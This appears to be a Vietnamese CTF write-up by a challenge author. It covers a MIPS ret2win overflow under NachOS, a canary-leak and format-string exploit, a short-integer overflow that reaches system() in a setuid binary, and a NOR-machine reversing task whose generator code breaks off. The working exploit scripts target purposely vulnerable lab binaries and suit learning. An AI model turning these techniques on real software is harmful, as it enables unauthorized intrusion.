User mode (Pwn)
- Độ khó dự kiến: MEDIUM
- Số team giải được: 0
Đề bài sẽ bao gồm 2 file: pow_client.py
để tính proof-of-work, và mã nguồn của chương trình trong public.zip
Giải nén public.zip
ta được cấu trúc thư mục như sau:
.
├── build.sh
├── Dockerfile
├── make.sh
├── mips-decstation.linux-xgcc.gz
├── NachOS-4.0
├── nachos-gcc.diff
├── run.sh
├── script.sh
└── ynetd
Nhìn sơ qua thì có thể thấy được đây là 1 bài được dựng trên Docker (có Dockerfile
), các file build.sh
và make.sh
là để mình đã ghi sẵn lệnh để tiện cho việc build và run
Xem nội dung của Dockerfile
, server sẽ là Ubuntu 18.04, các file còn lại sẽ được copy vào server và chạy file script.sh
COPY ./NachOS-4.0 /home/project/nachos/NachOS-4.0
COPY ./nachos-gcc.diff /home/project/nachos
COPY ./mips-decstation.linux-xgcc.gz /home/project/nachos
COPY ./ynetd /home/project/nachos
COPY ./script.sh /script.sh
COPY ./run.sh /run.sh
RUN chmod +x /script.sh
RUN chmod +x /run.sh
EXPOSE 1234
CMD ["/script.sh"]
Xét đến script.sh
, đây là đoạn lệnh để build nachos, vì vậy nó sẽ khá là nặng → mình phải dùng tới proof-of-work để giảm tải (mặc dù mình không để public đoạn này nhưng chỉ là thêm 1 bước nhỏ do đã có pow_client.py
). Để ý đoạn cuối
# /bin/bash # FOR DEBUG
./ynetd -p 1234 -lt 10 /run.sh
Mình có để sẵn 1 dòng để mọi người uncomment để debug (bằng cách interract với server local), ynetd
có tác dụng để host file, và target ở đây là run.sh
Xét tiếp đến run.sh
:
#!/bin/bash
/home/project/nachos/NachOS-4.0/code/build.linux/nachos -x /home/project/nachos/NachOS-4.0/code/test/main
Ở đây sẽ là 1 hàm chạy nachos thông thường (nếu bạn có xem qua slide rồi thì cũng biết đây là cách nachos chạy 1 chương trình). Tua 1 chút lại về script.sh
:
cd ../code/test
make
make clean
Chương trình trong thư mục test được build trực tiếp → sẽ có mã nguồn ở đây:
.
├── halt.c
├── main.c
├── Makefile
├── Makefile.dep
├── script
└── start.s
Từ Makefile
:
main.o: main.c
$(CC) $(CFLAGS) -c main.c
main: main.o start.o
$(LD) $(LDFLAGS) start.o main.o -o main.coff
$(COFF2NOFF) main.coff main
Có thể thấy main.c
sau một vài thao tác, sẽ thành file main
và load bởi nachos.
main.c
:
#include "syscall.h"
void PrintString(char* s) {
while(*s) {
PrintChar(*s);
s++;
}
}
// So simple ret2win isn't it?
void win() {
PrintString("Your flag: HCMUS-CTF{test_flag_flag}\n");
Halt();
}
// In this chall, you don't need to analyze the custom syscall (assume it's true)!
int main() {
int n;
int i;
char buffer[64];
PrintString("Number of characters to read?: ");
n = ReadNum();
for (i = 0; i < n; i++) {
buffer[i] = ReadChar();
}
PrintString("That's all, have a good day!\n");
return 0;
}
Các hàm như PrintChar, ReadNum, ReadChar
đều là các custom syscall do mình cài đặt sẵn, và cũng có comment rằng ko cần quá quan tâm tới chuyện này (từ tên syscall có thể suy ra công dụng rồi)
Trong hàm main
, ta có thể thấy chương trình cho phép người dùng nhập 1 chuỗi ký tự vào buffer với size bất kỳ, trong khi đó ta chỉ cấp cho buffer kích thước là 64 → Buffer Overflow. Nhìn lên trên một xíu thì có hàm win
, ở đây thì sẽ mường tượng ra được đích đến rồi đúng ko :> 1 Dạng ret2win khá cơ bản = Buffer Overflow (nếu đã giải được bài introduction
thì đây chính là part 1 của nó)
Vấn đề đặt ra ở đây là chúng ta còn thiếu mất một vài thông tin như sau:
- Kiến trúc mà chương trình này đang chạy là gì? (amd64, i386, arm, … ?)
- Cần bao nhiêu ký tự để chạm tới mức overflow ?
- Có sự bảo vệ nào không ? (ví dụ như PIE, canary…)
- Ret/Nhảy đến đâu (đây là phần quan trọng nhất :> hầu hết mọi người sẽ rối nhất ở đoạn này → fail mặc dù đã biết hướng làm)
Toàn bộ chương trình main
sẽ được chạy bởi nachos → vì thế ta cần phải xét 1 chút về cách mà nachos cấp phát địa chỉ và chạy chương trình. Nếu bạn có đọc qua slide thì sẽ biết entrypoint của nachos nằm ở NachOS-4.0/code/threads/main.cc
(trong gợi ý mình cũng có nhắc đến việc để ý về entrypoint)
Ở đoạn cuối ta sẽ thấy có 1 phần như sau:
// finally, run an initial user program if requested to do so
if (userProgName != NULL) {
AddrSpace *space = new AddrSpace;
ASSERT(space != (AddrSpace *)NULL);
if (space->Load(userProgName)) { // load the program into the space
space->Execute(); // run the program
ASSERTNOTREACHED(); // Execute never returns
}
}
Như vậy hướng chạy sẽ là tạo 1 object AddrSpace (Address Space), load chương trình main
vào đó và thực hiện chạy giả lập (emulate) chương trình
Đi sâu về phần này hơn thì ta chuyển đến NachOS-4.0/code/userprog/addrspace.h
và addrspace.cc
(Thực ra khúc này muốn lục nhanh thì có thể grep như sau: grep -ri "AddrSpace" *
)
Do đã biết sẽ dùng những phương thức từ AddrSpace → đi thẳng vào addrspace.cc
luôn
//----------------------------------------------------------------------
// AddrSpace::AddrSpace
// Create an address space to run a user program.
//Set up the translation from program memory to physical
//memory. For now, this is really simple (1:1), since we are
//only uniprogramming, and we have a single unsegmented page table
//----------------------------------------------------------------------
AddrSpace::AddrSpace()
{
pageTable = new TranslationEntry[NumPhysPages];
for (int i = 0; i < NumPhysPages; i++) {
pageTable[i].virtualPage = i;// for now, virt page # = phys page #
pageTable[i].physicalPage = i;
pageTable[i].valid = TRUE;
pageTable[i].use = FALSE;
pageTable[i].dirty = FALSE;
pageTable[i].readOnly = FALSE;
}
// zero out the entire address space
bzero(kernel->machine->mainMemory, MemorySize);
}
//----------------------------------------------------------------------
// AddrSpace::Load
// Load a user program into memory from a file.
//
//Assumes that the page table has been initialized, and that
//the object code file is in NOFF format.
//
//"fileName" is the file containing the object code to load into memory
//----------------------------------------------------------------------
bool
AddrSpace::Load(char *fileName)
{
OpenFile *executable = kernel->fileSystem->Open(fileName);
NoffHeader noffH;
unsigned int size;
if (executable == NULL) {
cerr << "Unable to open file " << fileName << "\n";
return FALSE;
}
executable->ReadAt((char *)&noffH, sizeof(noffH), 0);
if ((noffH.noffMagic != NOFFMAGIC) &&
(WordToHost(noffH.noffMagic) == NOFFMAGIC))
SwapHeader(&noffH);
ASSERT(noffH.noffMagic == NOFFMAGIC);
#ifdef RDATA
// how big is address space?
size = noffH.code.size + noffH.readonlyData.size + noffH.initData.size +
noffH.uninitData.size + UserStackSize;
// we need to increase the size
// to leave room for the stack
#else
// how big is address space?
size = noffH.code.size + noffH.initData.size + noffH.uninitData.size
+ UserStackSize;// we need to increase the size
// to leave room for the stack
#endif
numPages = divRoundUp(size, PageSize);
size = numPages * PageSize;
ASSERT(numPages <= NumPhysPages);// check we're not trying
// to run anything too big --
// at least until we have
// virtual memory
DEBUG(dbgAddr, "Initializing address space: " << numPages << ", " << size);
// then, copy in the code and data segments into memory
// Note: this code assumes that virtual address = physical address
if (noffH.code.size > 0) {
DEBUG(dbgAddr, "Initializing code segment.");
DEBUG(dbgAddr, noffH.code.virtualAddr << ", " << noffH.code.size);
executable->ReadAt(
&(kernel->machine->mainMemory[noffH.code.virtualAddr]),
noffH.code.size, noffH.code.inFileAddr);
}
if (noffH.initData.size > 0) {
DEBUG(dbgAddr, "Initializing data segment.");
DEBUG(dbgAddr, noffH.initData.virtualAddr << ", " << noffH.initData.size);
executable->ReadAt(
&(kernel->machine->mainMemory[noffH.initData.virtualAddr]),
noffH.initData.size, noffH.initData.inFileAddr);
}
#ifdef RDATA
if (noffH.readonlyData.size > 0) {
DEBUG(dbgAddr, "Initializing read only data segment.");
DEBUG(dbgAddr, noffH.readonlyData.virtualAddr << ", " << noffH.readonlyData.size);
executable->ReadAt(
&(kernel->machine->mainMemory[noffH.readonlyData.virtualAddr]),
noffH.readonlyData.size, noffH.readonlyData.inFileAddr);
}
#endif
delete executable;// close file
return TRUE;// success
}
//----------------------------------------------------------------------
// AddrSpace::Execute
// Run a user program using the current thread
//
// The program is assumed to have already been loaded into
// the address space
//
//----------------------------------------------------------------------
void
AddrSpace::Execute()
{
kernel->currentThread->space = this;
this->InitRegisters();// set the initial register values
this->RestoreState();// load page table register
kernel->machine->Run();// jump to the user progam
ASSERTNOTREACHED();// machine->Run never returns;
// the address space exits
// by doing the syscall "exit"
}
Nhìn có vẻ hơi rối nên mình sẽ tóm lại 1 vài ý như sau:
- Ở constructor
AddrSpace::AddrSpace
sẽ thực hiện setup pagetable (phần này ta không cần quan tâm) và nullify memory (gán = 0) - Ở
AddrSpace::Load
sẽ thực hiện đọc file → check signature xem có phải là file dạng NOFF hay không. Sau đó sẽ có 1 vài chỉ thị (directive) if else về RDATA, nhưng ta cũng không cần quan tâm về phần này, phần cần quan tâm sẽ ở đoạn sau:
NoffHeader noffH;
// ...
executable->ReadAt((char *)&noffH, sizeof(noffH), 0);
// ...
if (noffH.code.size > 0) {
DEBUG(dbgAddr, "Initializing code segment.");
DEBUG(dbgAddr, noffH.code.virtualAddr << ", " << noffH.code.size);
executable->ReadAt(
&(kernel->machine->mainMemory[noffH.code.virtualAddr]),
noffH.code.size, noffH.code.inFileAddr);
}
if (noffH.initData.size > 0) {
DEBUG(dbgAddr, "Initializing data segment.");
DEBUG(dbgAddr, noffH.initData.virtualAddr << ", " << noffH.initData.size);
executable->ReadAt(
&(kernel->machine->mainMemory[noffH.initData.virtualAddr]),
noffH.initData.size, noffH.initData.inFileAddr);
}
struct NoffHeader tại NachOS-4.0/code/userprog/noff.h
:
/* noff.h
* Data structures defining the Nachos Object Code Format
*
* Basically, we only know about three types of segments:
*code (read-only), initialized data, and unitialized data
*/
#define NOFFMAGIC0xbadfad /* magic number denoting Nachos
* object code file
*/
typedef struct segment {
int virtualAddr;/* location of segment in virt addr space */
int inFileAddr;/* location of segment in this file */
int size;/* size of segment */
} Segment;
typedef struct noffHeader {
int noffMagic;/* should be NOFFMAGIC */
Segment code;/* executable code segment */
Segment initData;/* initialized data segment */
#ifdef RDATA
Segment readonlyData;/* read only data */
#endif
Segment uninitData;/* uninitialized data segment --
* should be zero'ed before use
*/
} NoffHeader;
Đại khái chương trình sẽ load header noff có cấu trúc như trên lên trước, sau đó sẽ load code từ file ở code.inFileAddr
→ memory tại địa chỉ code.virtualAddr
, tương tự cho initData (phần này có thể skip do initData chỉ đại diện cho biến toàn cục, ko liên quan tới thứ ta cần exploit)
Để biết thông tin 2 cái này thì ta cần 1 trình hex editor để xem (trên windows bạn có thể dùng HxD
cho tiện (copy file từ docker ra), còn ở đây thì mình dùng hexedit
cho tiện). int
chiếm 4 bytes → ta cần xét đoạn [3→7]
và [8→11]
để tìm thông tin
→ virtualAddr = 0, inFileAddr = 0x34
Từ slide → Code ở đây sẽ hoàn toàn là MIPS:
- Phần load chỉ đơn giản là khởi tạo các thanh ghi cần thiết & emulate chương trình thôi nên ta sẽ ko xét tới đây.
Tới đây sẽ có 2 hướng giải quyết tiếp, hoặc có thể là dùng offset inFileAddr
để extract MIPS code đưa vào disassembler để xét code. Đối với cách 2, nếu tinh ý ở test/Makefile
, sau khi main.o
và start.o
được link với nhau → main.coff
, sau đó thông qua coff2noff để thành main
. Ở đây có thể giả sử coff2noff chỉ để chuyển format, còn nội dung của từng section sẽ không đổi → Thực hiện make
tại folder test
và dùng objdump của MIPS:
/home/project/nachos/usr/local/nachos/bin/decstation-ultrix-objdump -d ./main.coff
000001e4 <win>:
0000021c <main>:
21c:27bdffa0 addiu$sp,$sp,-96
220:afbf005c sw$ra,92($sp)
224:afbe0058 sw$s8,88($sp)
228:0c000058 jal160 <__main>
22c:03a0f021 move$s8,$sp
230:3c040000 lui$a0,0x0
234:0c00005c jal170 <PrintString>
238:248402f8 addiu$a0,$a0,760
23c:0c000050 jal140 <ReadNum>
240:00000000 nop
244:afc20010 sw$v0,16($s8)
248:afc00014 sw$zero,20($s8)
24c:8fc20014 lw$v0,20($s8)
250:8fc30010 lw$v1,16($s8)
254:00000000 nop
258:0043102a slt$v0,$v0,$v1
25c:14400003 bnez$v0,26c <main+0x50>
260:00000000 nop
264:080000a7 j29c <main+0x80>
268:00000000 nop
26c:0c000048 jal120 <ReadChar>
270:00000000 nop
274:27c30018 addiu$v1,$s8,24
278:8fc40014 lw$a0,20($s8)
27c:00000000 nop
280:00641821 addu$v1,$v1,$a0
284:a0620000 sb$v0,0($v1)
288:8fc20014 lw$v0,20($s8)
28c:00000000 nop
290:24430001 addiu$v1,$v0,1
294:08000093 j24c <main+0x30>
298:afc30014 sw$v1,20($s8)
29c:3c040000 lui$a0,0x0
2a0:0c00005c jal170 <PrintString>
2a4:24840318 addiu$a0,$a0,792
2a8:080000ac j2b0 <main+0x94>
2ac:00001021 move$v0,$zero
2b0:03c0e821 move$sp,$s8
2b4:8fbf005c lw$ra,92($sp)
2b8:8fbe0058 lw$s8,88($sp)
2bc:03e00008 jr$ra
2c0:27bd0060 addiu$sp,$sp,96
Địa chỉ của hàm win
là ở offset 0x1e4, 1 điểm lưu ý là ở MIPS sẽ có instruction jal
(Jump And Link), địa chỉ trả về sẽ nằm ở thanh ghi $ra
, sau đó được đưa vào stack, hàm hoàn thành xong sẽ lấy từ stack đem ngược lại vào $ra
và nhảy tới địa chỉ đó (tương đồng với saved rip
nếu bạn đã từng exploit pwn dạng buffer overflow)
220:afbf005c sw$ra,92($sp)
2b4:8fbf005c lw$ra,92($sp)
2bc:03e00008 jr$ra
Như vậy mục tiêu của chúng ta sẽ là override $sp+92
thành địa chỉ của win
→ Done.
Nhìn qua code ở hàm main thì dễ thấy sẽ ko có bất cứ phòng vệ nào được thiết lập (canary) → có thể overflow thẳng, nhưng bao nhiêu ký tự là đủ?
Khúc này có thể thử sai được (may không có ai thử trên server real, không thì sập mất <(”)), ví dụ b”A”*64 + b”\xe4\x01\x00\x00” chẳng hạn rồi nâng padding lên. Ở đây mình sẽ tìm chính xác offset luôn :>
22c:03a0f021 move$s8,$sp
...
26c:0c000048 jal120 <ReadChar>
274:27c30018 addiu$v1,$s8,24
278:8fc40014 lw$a0,20($s8)
27c:00000000 nop
280:00641821 addu$v1,$v1,$a0
284:a0620000 sb$v0,0($v1)
288:8fc20014 lw$v0,20($s8)
$v1
ở đây chính là offset tới mảng buffer, sau các lần gọi ReadChar thì sẽ được lưu vào đây với i là $a0
→ Buffer tại $sp + 24 → Padding là 92 - 24 = 68 ký tự
Solve script:
from pwn import *
from pow_client import solve_POW
# 103.245.250.17 30009
r = remote("103.245.250.17", 30009) # localhost:1234
# Comment these if you're running local-
r.recvuntil(b'python3 pow_client.py ')
base, desired_hash = r.recvline().strip().decode().split(' ')
response = solve_POW(base, desired_hash)
r.sendlineafter(b'response: ', response.encode())
# --------------------------------------
r.sendlineafter(b'read?: ', b'72')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe4\x01\x00\x00')
r.interactive()
Summary
Lời kết: Bài này tính ra khá là oằn :)) thời gian dự kiến là sẽ cần một thời gian kha khá để làm nhưng vì lí do server nên lên khá trễ <(”). Một phần nữa là vì lí do là sẽ có học môn liên quan tới cái này, nên cũng là dịp cho các bạn thử sức với cái gì đó là lạ 1 xíu (
Chứ thực ra mình định cho kernel exploit đấy <(“)).
introduction (Pwn)
- Độ khó dự kiến: EASY
- Số team giải được: 6
Do trong bài đã có hướng dẫn khá kỹ nên sẽ chỉ có script thôi nhé <(”) (Có thể comment bớt đoạn cuối, trừ p.interactive()
ra) để xem thông tin chương trình trả về.
from pwn import *
#init
e = ELF('./introduction')
context.binary = e
p = process(e.path)
# p = remote('localhost', 1337)
#vars
fmtstr = e.sym['fmtstr']
log.info('Fmtstr adr: ' + hex(fmtstr))
#exploit
#get canary
p.recvuntil(b'later): ')
canary = int(p.recvline(keepends = False), 16)
log.info('Canary: ' + hex(canary))
#rop to fmtstr and fill in canary
p.sendlineafter(b'stack.', b'a' * 72 + p64(canary) + b'a' * 8 + p64(fmtstr + 1))
#get random value with fmtstr
p.sendlineafter(b'printf.', b'%14$llx')
p.recvuntil(b':\n')
rand = int(p.recvline(keepends = False), 16)
log.info('Rand value: ' + hex(rand))
#input rand value
p.sendlineafter(b'guessing.', str(rand).encode())
p.interactive()
iflow (Pwn)
- Độ khó dự kiến: EASY
- Số team giải được: 7
Dùng gdb, disassemble main và break ở main+253
, chạy thử với run 1
ta được stack như sau:
pwndbg> telescope 20
00:0000│ esp 0xffffcb90 —▸ 0x56557020 ◂— 'Calling '
01:0004│ 0xffffcb94 ◂— 0x3e8
02:0008│ 0xffffcb98 ◂— 0x3e8
03:000c│ 0xffffcb9c —▸ 0x5655623f (main+146) ◂— sub esp, 4
04:0010│ 0xffffcba0 ◂— 0x0
05:0014│ 0xffffcba4 —▸ 0xffffce6b ◂— 0x24018ce1
06:0018│ 0xffffcba8 ◂— 0x3e8
07:001c│ 0xffffcbac ◂— 0x2
08:0020│ 0xffffcbb0 ◂— 0x0
09:0024│ 0xffffcbb4 ◂— 0x0
0a:0028│ 0xffffcbb8 —▸ 0xf7e0c850 (system) ◂— endbr32
0b:002c│ 0xffffcbbc —▸ 0xf7e63a20 (strlen) ◂— endbr32
0c:0030│ 0xffffcbc0 —▸ 0xf7df9380 (atoi) ◂— endbr32
0d:0034│ 0xffffcbc4 —▸ 0xf7e13eb0 (printf) ◂— endbr32
0e:0038│ 0xffffcbc8 —▸ 0xf7e36700 (puts) ◂— endbr32
0f:003c│ 0xffffcbcc —▸ 0x56557008 ◂— 'strlen'
10:0040│ 0xffffcbd0 —▸ 0x5655700f ◂— 'atoi'
11:0044│ 0xffffcbd4 —▸ 0x56557014 ◂— 'printf'
12:0048│ 0xffffcbd8 —▸ 0x5655701b ◂— 'puts'
13:004c│ 0xffffcbdc ◂— 0x20001
Có thể thấy địa chỉ hàm system nằm ở trước địa chỉ của strlen, tức là uncallable_funcs
nằm trước callable_funcs
:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#define ARG "cat /home/iflow/flag"
#define MAX 3
int main(short argc, char **argv)
{
char *helper[] = {"strlen", "atoi", "printf", "puts"};
void (*callable_funcs[])(char *) = {strlen, atoi, printf, puts};
void (*uncallable_funcs[])(char *) = {system};
short i, pos = 0;
setresuid(geteuid(), geteuid(), geteuid());
for (i = 1; i < argc; i++) {
pos += strlen(argv[i]);
}
if (pos <= MAX) {
(callable_funcs[MAX-1])("Calling ");
(callable_funcs[MAX-1])(helper[pos]);
(callable_funcs[MAX-1])(".\n");
(callable_funcs[pos])(ARG);
} else {
(callable_funcs[MAX])("Out of bounds !\n");
}
return 0;
}
Ở đây ta thấy pos
có kiểu short (16bit), nhưng lại được cộng từ strlen
của các argv (giá trị trả về của strlen có thể lên tới 64bit) → Đây là nơi để khai thác.
Tính 2’s complement của -1 với 16bit ta được:
>>> (-1) & 0xffff
65535
Solution:
./iflow $(python3 -c "print('A'*65535)")
NOR machine (RE)
- Độ khó dự kiến EASY
- Số team giải được: 15
#!/usr/bin/python3
import pickle
import sys
mem = []
final = [93, 103, 205, 127, 111, 17, 115, 110, 52, 127]
def NOR_machine(data):
with open("image.bin", "rb") as f:
mem = pickle.load(f)
mem[60001:60011] = data
while True:
if mem[4] == 1:
print("VM DONE")
break
i = mem[0]
a1 = mem[i]
a2 = mem[i + 1]
a3 = mem[i + 2]
tmp = (~(mem[a1] | mem[a2])) & 0xffff
mem[a3] = tmp
mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
mem[0] = i + 3
return mem[60011:60021]
user_name = input("Username: ").strip()
l = len(user_name)
if not (1 <= l <= 5):
print("Incorrect format!")
sys.exit(1)
key = input("Key: ").strip()
if not (len(key) == 3 * l):
print("Incorrect format!")
sys.exit(1)
if not (key[2*l:] == user_name[::-1]):
print("Incorrect signature")
sys.exit(2)
# Check passed ! proceed to VM
data = [i^j for i,j in zip(key[:2*l].encode(), user_name.encode() * 2)]
if NOR_machine(data) == final:
print("Correct key!, wraps your key with HCMUS-CTF{}")
else:
print("Incorrect key!")
Đoạn source code được cho khá là đơn giản, flow chính sẽ là như sau:
- Người dùng nhập username có 1 đến 5 ký tự (đề bài đã cho trước là “HCMUS”)
- Người dùng nhập key gồm 3 * độ dài của username (tổng cộng 15)
- Check phần cuối của key có là đảo ngược của username (SUMCH)
- Xor 2 phần đầu với username * 2 lần (xor với “HCMUSHCMUS”) và đưa vào NOR machine → ra một mảng kết quả
- Mảng kết quả sẽ được so sánh với mảng final có trước → nếu đúng thì sẽ là key
Hướng giải ở đây là sẽ dựa vào việc thử sai để phân tích trước. Ta thấy phần NOR machine sẽ là khó hiểu nhất, và độ dài của 2 part đầu = với final → Dự đoán có thể là mã hoá 1-1 từ input → final
Kiểm chứng:
for i in range(10):
t = [0] * 10
t[i] = 1
print(t)
print(NOR_machine(t))
So mỗi giá trị với [0] * 10, ta có:
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 68, 60]
----
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 68, 61*]
----
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 69*, 60]
----
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 75*, 68, 60]
----
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 85*, 74, 68, 60]
----
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 103*, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 1, 0, 0, 0, 0]
[81, 76, 72, 66, 89*, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 1, 0, 0, 0]
[81, 76, 72, 67*, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 1, 0, 0]
[81, 76, 73*, 66, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0]
[81, 77*, 72, 66, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
[82*, 76, 72, 66, 88, 102, 84, 74, 68, 60]
Như vậy, data[i] sẽ ảnh hưởng đến output[9 - i] → brute force:
a = []
for i in range(10):
t = [0] * 10
for c in range(0, 256):
t[i] = c
output = NOR_machine(t)
if final[9 - i] == output[9 - i]:
a.append(c)
break
print(a)
print(''.join([chr(i^j) for i,j in zip(a, b"HCMUS" * 2)]))
Kết quả:
[63, 112, 36, 39, 55, 23, 45, 125, 39, 12]
w3ird_n0r_
Appendix
Fun fact: Bài này thực ra ban đầu có độ khó dự kiến là INSANE :)) Tuy nhiên mình đã nerf lại cho nó beginner-friendly hơn. Ý tưởng của bài này đến từ bài magicbox
từ TetCTF 2022
(Không phải vì cay cú giải chậm mất tiền giải)
Bản gốc mình đọc và clone thì ở đây https://medium.com/pragmatic-programmers/the-nor-machine-build-a-cpu-with-only-one-instruction-c02a9079dec6 Cũng khá là khó khăn để đọc hiểu từ Ruby → Python, but btw mọi người enjoy là được <(”).
Note về cái NOR machine của mình như sau:
Keygen challenge
Combination of username - password, provided username == 'HCMUS' -> password = ?
Mostly like keygen challenge (in case others feel unsatisfied with repeated problems)
things to do:
- username length <= 5
- password length = 3x username, last part is signature (reverse of username)
- each character of first 2 parts XORED with username
- each character will be add | xor with hard-coded number (anti xortool)
- total password will be checked with hard-coded array (open to --side channel attack-- | brute force)
required instructions set:
- MOV (infer from OR)
- XOR (infer from OR, AND, NOT)
- ADD (full adder)
- No branch, condition
- No indirect inference
system design:
- CORE (Register):
+ IP [0]
+ SHIFT_REG[1]
+ CARRY_REG[2]
+ ZERO_REG[3]
+ HALT[4]
+ CONST_0_TO_15[5:20]
+ General purpose [21:40]
- TEXT (Code) [41: 60000]
- DATA (Global variable) [60001: 65535]
flow:
- check signature & size on python's side
- Init memory (65536 blocks)
- put CORE, TEXT from binary (.bin)
- put password (2 first parts) to DATA[60001: 60010]
- VM process -> put final array (size depend on password) to DATA[60011: 60020]
- (Option 2: Xor each with hardcoded value, then AND all. ANTI-BRUTEFORCING but nerfed)
- HALT
- Python extract array & check with hardcoded value
total of 10 char to check
(s[0] + 1) ^ 80
(s[1] + 2) ^ 78
(s[2] + 4) ^ 76
(s[3] + 8) ^ 74
(s[4] + 16) ^ 72
(s[5] + 32) ^ 70
(s[6] + 16) ^ 68
(s[7] + 8) ^ 66
(s[8] + 4) ^ 64
(s[9] + 2) ^ 62
"w3ird_n0r_" XOR "HCMUS" = [63, 112, 36, 39, 55, 23, 45, 125, 39, 12]
reverse -> [12, 39, 125, 45, 23, 55, 39, 36, 112, 63]
ADD -> [13, 41, 129, 53, 39, 87, 55, 44, 116, 65]
XOR -> [93, 103, 205, 127, 111, 17, 115, 110, 52, 127]
w3ird_n0r_SUMCH
Như bạn thấy trong flow có 1 dòng về việc ANTI BRUTEFORCING :)) Khi đó bắt buộc bạn phải dump cả machine ra và phân tích (trong đó có tối ưu instruction nữa). Ở đây thì mình làm khá tuỳ hứng nên ko implement stack → General purpose register sẽ khá nhiều, sau đây sẽ là source code nếu bạn có hứng thú develop thêm :
#gen.py
from typing import *
import pickle
IP = 0
SHIFT = 1
CARRY = 2
ZERO = 3
HALT = 4
NUM_CONST = list(range(5, 21))
GENERAL = list(range(21, 41))
def initCORE():
return [
41, # IP starting point
0, # Shift
0, # Carry
0, # Zero
0, # Halt
1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, # Constant
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 # General purpose (temp register)
]
# Instruction set implement
# ~(a | b)
def NOR(srcA: int, srcB: int, dest: int):
return [srcA, srcB, dest]
# ~(a | a) <-> ~a
def NOT(srcA: int, dest: int):
return NOR(srcA, srcA, dest)
# ~(~(a | a) | ~(b | b)) <-> ~(~a | ~b) <-> a & b (De morgan)
def AND(srcA: int, srcB: int, dest: int):
return [
NOT(srcA, GENERAL[0]),
NOT(srcB, GENERAL[1]),
NOR(GENERAL[0], GENERAL[1], dest)
]
# ~(~(a | b)) <-> a | b
def OR(srcA: int, srcB: int, dest: int):
return [
NOR(srcA, srcB, GENERAL[2]),
NOT(GENERAL[2], dest)
]
# (a & -b) | (-a & b) <-> a ^ b
def XOR(srcA: int, srcB: int, dest: int):
return [
NOT(srcA, GENERAL[-1]),
NOT(srcB, GENERAL[-2]),
AND(srcA, GENERAL[-2], GENERAL[-3]),
AND(GENERAL[-1], srcB, GENERAL[-4]),
OR(GENERAL[-3], GENERAL[-4], dest)
]
def MOV(src, dest):
return OR(src, src, dest)
def END():
return MOV(NUM_CONST[0], HALT)
# God bless you :))
def FADD(mask: int, carry: int, srcA, srcB, dest):
return [
XOR(srcA, srcB, GENERAL[-5]),
XOR(GENERAL[-5], carry, GENERAL[-6]),
AND(GENERAL[-6], mask, GENERAL[-6]),
OR(GENERAL[-6], dest, dest),
AND(srcA, srcB, GENERAL[-7]),
AND(carry, GENERAL[-5], GENERAL[-5]),
OR(GENERAL[-7], GENERAL[-5], carry),
MOV(SHIFT, carry),
MOV(mask, mask),
MOV(SHIFT, mask),
AND(carry, mask, carry)
]
# IGNORE THE CARRY!
def ADD(srcA: int, srcB: int, dest: int):
return [
XOR(dest, dest, dest),
XOR(CARRY, CARRY, CARRY),
MOV(NUM_CONST[0], GENERAL[-8]),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
]
# 0b1010000 = 2^6 + 2^4
# 0b1001110 = 2^6 + 2^3 + 2^2 + 2^1
# 0b1001100 = 2^6 + 2^3 + 2^2
# 0b1001010 = 2^6 + 2^3 + 2^1
# 0b1001000 = 2^6 + 2^3
# 0b1000110 = 2^6 + 2^2 + 2^1
# 0b1000100 = 2^6 + 2^2
# 0b1000010 = 2^6 + 2^1
# 0b1000000 = 2^6
# 0b0111110 = 2^5 + 2^4 + 2^3 + 2^2 + 2^1
# Process inline (no store)
# Input at [60001: 60010], OUTPUT AT [60011: 60020]
INPUT_OFF = 60001
OUTPUT_OFF = 60011
def initTEXT():
return [
ADD(INPUT_OFF + 9, NUM_CONST[0], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[4], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 0),
ADD(INPUT_OFF + 8, NUM_CONST[1], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
